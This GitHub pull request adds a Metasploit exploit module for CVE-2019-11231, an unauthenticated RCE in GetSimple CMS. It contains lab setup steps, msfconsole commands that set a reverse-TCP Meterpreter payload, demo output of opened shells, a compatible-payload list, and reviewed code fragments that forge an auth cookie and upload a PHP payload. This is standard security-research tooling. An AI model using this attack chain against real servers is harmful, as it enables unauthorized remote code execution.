Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

CVE-2019-11231 exploit: GetSimple CMS Unauth RCE #11802

Merged
merged 9 commits into from
May 16, 2019

Conversation

truerandom
Copy link
Contributor

@truerandom truerandom commented May 2, 2019

Hi this is a pull request for the module that exploits
CVE-2019-11231
(https://ssd-disclosure.com/archives/3899/ssd-advisory-getcms-unauthenticated-remote-code-execution)

Vulnerable application

GetSimple CMS http://get-simple.info

Vulnerable setup

apt-get update
apt-get install apache2 php5 php5-curl php5-gd -y 
a2enmod rewrite
service apache2 restart
cd /var/www/html
wget http://get-simple.info/latest -O getsimplecms.zip
unzip -u getsimplecms.zip
mv GetSimpleCMS-3.3.15/ /var/www/html/getsimplecms
mv /var/www/html/getsimplecms/temp.gsconfig.php /var/www/html/getsimplecms/gsconfig.php
chown -R www-data:www-data /var/www/html/getsimplecms
chmod -R 755 /var/www/html/getsimplecms/

configure cms at http://localhost/getsimplecms/admin/install.php
Tested on Apache/2.4.10 (Debian)

Verification

Launch metasploit and set the appropiate options:

  • Start msfconsole
  • use exploit/multi/http/getsimplecms_unauth_code_exec
  • set RHOST xxx
  • set TARGETURI /xxx/
  • set payload php/meterpreter/reverse_tcp
  • exploit

Demo

msf > use exploit/multi/http/getsimplecms_unauth_code_exec
msf exploit(multi/http/getsimplecms_unauth_code_exec) > set RHOST 192.168.230.130
msf exploit(multi/http/getsimplecms_unauth_code_exec) > set TARGETURI /getsimplecms/
msf exploit(multi/http/getsimplecms_unauth_code_exec) > set payload php/meterpreter/reverse_tcp
msf exploit(multi/http/getsimplecms_unauth_code_exec) > set LHOST 192.168.230.128
msf exploit(multi/http/getsimplecms_unauth_code_exec) > check
[+] GetSimpleCMS appears vulnerable
[+] 192.168.230.130:80 The target is vulnerable.
msf exploit(multi/http/getsimplecms_unauth_code_exec) > exploit 

[*] Started reverse TCP handler on 192.168.230.128:4444 
[+] GetSimpleCMS appears vulnerable
[*] Sending stage (37775 bytes) to 192.168.230.130
[*] Meterpreter session 1 opened (192.168.230.128:4444 -> 192.168.230.130:54923) at 2019-05-02 02:13:10 -0400
meterpreter > getuid
Server username: www-data (33)
meterpreter > pwd
/var/www/html/getsimplecms/theme
meterpreter > sysinfo
Computer    : chaos
OS          : Linux chaos 3.16.0-4-amd64 #1 SMP Debian 3.16.51-2 (2017-12-03) x86_64
Meterpreter : php/linux

Compatible payloads

Compatible Payloads
===================

 Name                                Disclosure Date  Rank    Description
 ----                                ---------------  ----    -----------
 generic/custom                                       normal  Custom Payload
 generic/shell_bind_tcp                               normal  Generic Command Shell, Bind TCP Inline
 generic/shell_reverse_tcp                            normal  Generic Command Shell, Reverse TCP Inline
 php/bind_perl                                        normal  PHP Command Shell, Bind TCP (via Perl)
 php/bind_perl_ipv6                                   normal  PHP Command Shell, Bind TCP (via perl) IPv6
 php/bind_php                                         normal  PHP Command Shell, Bind TCP (via PHP)
 php/bind_php_ipv6                                    normal  PHP Command Shell, Bind TCP (via php) IPv6
 php/download_exec                                    normal  PHP Executable Download and Execute
 php/exec                                             normal  PHP Execute Command 
 php/meterpreter/bind_tcp                             normal  PHP Meterpreter, Bind TCP Stager
 php/meterpreter/bind_tcp_ipv6                        normal  PHP Meterpreter, Bind TCP Stager IPv6
 php/meterpreter/bind_tcp_ipv6_uuid                   normal  PHP Meterpreter, Bind TCP Stager IPv6 with UUID Support
 php/meterpreter/bind_tcp_uuid                        normal  PHP Meterpreter, Bind TCP Stager with UUID Support
 php/meterpreter/reverse_tcp                          normal  PHP Meterpreter, PHP Reverse TCP Stager
 php/meterpreter/reverse_tcp_uuid                     normal  PHP Meterpreter, PHP Reverse TCP Stager
 php/meterpreter_reverse_tcp                          normal  PHP Meterpreter, Reverse TCP Inline
 php/reverse_perl                                     normal  PHP Command, Double Reverse TCP Connection (via Perl)
 php/reverse_php                                      normal  PHP Command Shell, Reverse TCP (via PHP)

How it works

https://ssd-disclosure.com/archives/3899/ssd-advisory-getcms-unauthenticated-remote-code-execution

void-in and others added 4 commits May 2, 2019 02:03
…_unauth_code_exec.rb


(removed parenthesis)

Co-Authored-By: truerandom <masterofdisaster@ciencias.unam.mx>
…_unauth_code_exec.rb


(removed parenthesis)

Co-Authored-By: truerandom <masterofdisaster@ciencias.unam.mx>
…_unauth_code_exec.rb


(removed parenthesis)

Co-Authored-By: truerandom <masterofdisaster@ciencias.unam.mx>
…_unauth_code_exec.rb


(removed parenthesis)

Co-Authored-By: truerandom <masterofdisaster@ciencias.unam.mx>
'License' => MSF_LICENSE,
'Author' =>
[
'truerandom (twitter.com/truerand0m) @ Khalifazo' #
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

URLs and twitter handlers are generally not permitted in module author metadata. Move any additional information to a trailing comment.

Suggested change
'truerandom (twitter.com/truerand0m) @ Khalifazo' #
'truerand0m' # Discovery, exploit and Metasploit

],
'References' =>
[
['CVE', '2019-11231'],
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Add all relevant references, such as https://ssd-disclosure.com/archives/3899/ssd-advisory-getcms-unauthenticated-remote-code-execution

'method' => 'GET',
'uri' => normalize_uri(target_uri.path,'theme',fname),
})
handler
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

This shouldn't be necessary.

Suggested change
handler

username = get_user()
cookie = gen_cookie(version,salt,username)
nonce = get_nonce(cookie)
fname = rand_text_alpha(rand(10)+6) + '.php'
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Suggested change
fname = rand_text_alpha(rand(10)+6) + '.php'
fname = "#{rand_text_alpha(6..16).php"


def exploit
unless check == CheckCode::Vulnerable
fail_with(Failure::NotVulnerable, 'It appears that the target is not vulnerable')
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Suggested change
fail_with(Failure::NotVulnerable, 'It appears that the target is not vulnerable')
fail_with(Failure::NotVulnerable, 'It appears that the target is not vulnerable')

fname = rand_text_alpha(rand(10)+6) + '.php'
php = %Q|<?php #{payload.encoded} ?>|
upload_file(cookie,nonce,fname,php)
send_request_raw({
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

This should work with send_request_cgi, which is preferred.

Suggested change
send_request_raw({
send_request_cgi({

handler
end

def check
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

  def check
    version = gscms_version
    unless version
      return CheckCode::Safe
    end

    vprint_status "GetSimpleCMS version #{version}"

    unless vulnerable
      return CheckCode::Detected
    end

    CheckCode::Vulnerable
  end

end

def vulnerable
vulnerable = true
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

vulnerable variable is used only once in this method, and is also a redefinition of the method name.

Remove this line, and modify the method to return true.

Suggested change
vulnerable = true

end

def gscms_version
if target['Version']
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

This code branch appears to be unused.

'Name' => "GetSimpleCMS Unauthenticated RCE",
'Description' => %q{
This module exploits a vulnerability found in GetSimpleCMS,
which allows unauthenticated attackers to perform Remote Code Execution.
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Describe the attack path. ie, upload a PHP file, bypass auth by leaking API key, etc.

Corrections in: author metadata, references, removing handler, removing unused  code branch and vulnerable variable, improve module description
@truerandom
Copy link
Contributor Author

Hi, i made the corrections
It's weird, now it is failing the sanity test.
It worked before and i only changed a few lines.
I think the module it's complete

@asoto-r7 asoto-r7 changed the title exploit module for cve-2019-11231 CVE-2019-11231 exploit: GetSimple CMS Unauth RCE May 6, 2019
@jmartin-tech
Copy link
Contributor

@msjenkins-r7 test this please.

generator = res.get_html_document.at(
'//script[@type = "text/javascript"]/@src'
)
vers = generator.value.split('?v=').last.gsub(".","")
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

generator could be nil here, so please add a check before this line.

2.6.2 :010 > res = Nokogiri::HTML('<html><head><body>Some stuff</body></head></html>')
 => #<Nokogiri::HTML::Document:0x3ff1b50457f4 name="document" children=[#<Nokogiri::XML::DTD:0x3ff1b5045614 name="html">, #<Nokogiri::XML::Element:0x3ff1b50453bc name="html" children=[#<Nokogiri::XML::Element:0x3ff1b5045204 name="head">, #<Nokogiri::XML::Element:0x3ff1b5045038 name="body" children=[#<Nokogiri::XML::Text:0x3ff1b5044e80 "Some stuff">]>]>]> 
2.6.2 :011 > res.at(
2.6.2 :012 >             '//script[@type = "text/javascript"]/@src'
2.6.2 :013?>       )
 => nil 
2.6.2 :014 > vers = generator.value.split('?v=').last.gsub(".","")
Traceback (most recent call last):
        4: from /Users/space/.rvm/rubies/ruby-2.6.2/bin/irb:23:in `<main>'
        3: from /Users/space/.rvm/rubies/ruby-2.6.2/bin/irb:23:in `load'
        2: from /Users/space/.rvm/rubies/ruby-2.6.2/lib/ruby/gems/2.6.0/gems/irb-1.0.0/exe/irb:11:in `<top (required)>'
        1: from (irb):14
NameError (undefined local variable or method `generator' for main:Object)
2.6.2 :015 > 

'uri' => uri
)
return unless res && res.code == 200
@salt = res.get_xml_document.at('apikey').text
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Please add a check to the value returned by at before accessing it, as nil can be returned.

'uri' => uri
)
return unless res && res.code == 200
@username = res.get_html_document.at('[text()*="xml"]').text.split('.xml').first
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Please add a check before accessing the value returned by at. This line can cause a failure if the value being searched for is not found.

2.6.2 :001 > require 'nokogiri'
 => true 
2.6.2 :002 > res = Nokogiri::HTML('<html><head><body>Some stuff</body></head></html>')
 => #<Nokogiri::HTML::Document:0x3ff1b4d0f404 name="document" children=[#<Nokogiri::XML::DTD:0x3ff1b4d0ed10 name="html">, #<Nokogiri::XML::Element:0x3ff1b4d0e52c name="html" children=[#<Nokogiri::XML::Element:0x3ff1b4d11da8 name="head">, #<Nokogiri::XML::Element:0x3ff1b4d10a20 name="body" children=[#<Nokogiri::XML::Text:0x3ff1b4d17f8c "Some stuff">]>]>]> 
2.6.2 :003 > res.at('[text()*="xml"]').text.split('.xml').first
Traceback (most recent call last):
        4: from /Users/space/.rvm/rubies/ruby-2.6.2/bin/irb:23:in `<main>'
        3: from /Users/space/.rvm/rubies/ruby-2.6.2/bin/irb:23:in `load'
        2: from /Users/space/.rvm/rubies/ruby-2.6.2/lib/ruby/gems/2.6.0/gems/irb-1.0.0/exe/irb:11:in `<top (required)>'
        1: from (irb):3
NoMethodError (undefined method `text' for nil:NilClass)
2.6.2 :004 >

's' => 'Edit'
}
})
@nonce = res.get_html_document.at('//input[@id = "nonce"]/@value')
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

This line can return nil, so please add a check on @nonce so no error occurs when this will be accessed later in execution.

end

def vulnerable
uri = normalize_uri(target_uri.path, '/data/other/authorization.xml')
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Suggested change
uri = normalize_uri(target_uri.path, '/data/other/authorization.xml')
uri = normalize_uri(target_uri.path, 'data', 'other', 'authorization.xml')

)
return unless res && res.code == 200

uri = normalize_uri(target_uri.path, '/data/users/')
Copy link
Contributor

@space-r7 space-r7 May 14, 2019

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Suggested change
uri = normalize_uri(target_uri.path, '/data/users/')
uri = normalize_uri(target_uri.path, 'data', 'users', '/')

@space-r7
Copy link
Contributor

Hey @truerandom! Please add some documentation for your module. It's a markdown document that typically contains some information about what vulnerability the module exploits, installation of the vulnerable software, and module testing output. Here's a module doc template that can help you.

@space-r7 space-r7 self-assigned this May 14, 2019
@space-r7
Copy link
Contributor

Hey @truerandom, I submitted a PR to your branch that makes the changes I suggested above. Please let me know if that works and if there is anything I can help with! Thanks!

add checks to `at` functions that could result in error
@space-r7 space-r7 merged commit d3ae17f into rapid7:master May 16, 2019
space-r7 added a commit that referenced this pull request May 16, 2019
@space-r7
Copy link
Contributor

Added documentation in landing commit.

Tested on version 3.3.15:

msf5 > use exploit/multi/http/getsimplecms_unauth_code_exec 
msf5 exploit(multi/http/getsimplecms_unauth_code_exec) > set rhosts 192.168.37.137
rhosts => 192.168.37.137
msf5 exploit(multi/http/getsimplecms_unauth_code_exec) > set verbose true
verbose => true
msf5 exploit(multi/http/getsimplecms_unauth_code_exec) > run

[*] Started reverse TCP handler on 192.168.37.1:4444 
[*] GetSimpleCMS version 3315
[*] Sending stage (38247 bytes) to 192.168.37.137
[*] Meterpreter session 1 opened (192.168.37.1:4444 -> 192.168.37.137:32976) at 2019-05-16 11:22:39 -0500

meterpreter > getuid
Server username: www-data (33)
meterpreter > sysinfo
Computer    : ubuntu
OS          : Linux ubuntu 4.18.0-16-generic #17~18.04.1-Ubuntu SMP Tue Feb 12 13:35:51 UTC 2019 x86_64
Meterpreter : php/linux

msjenkins-r7 pushed a commit that referenced this pull request May 16, 2019
@space-r7
Copy link
Contributor

Release Notes

This adds an exploit module that utilizes an arbitrary file upload in GetSimple CMS version <= 3.3.15 to gain RCE.

@truerandom
Copy link
Contributor Author

Hey @stevenseeley @void-in @bcoles @jmartin-r7 @space-r7
Thanks for your help

@gdavidson-r7 gdavidson-r7 added the rn-modules release notes for new or majorly enhanced modules label May 29, 2019
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
module needs-docs rn-modules release notes for new or majorly enhanced modules
Projects
None yet
Development

Successfully merging this pull request may close these issues.

None yet

6 participants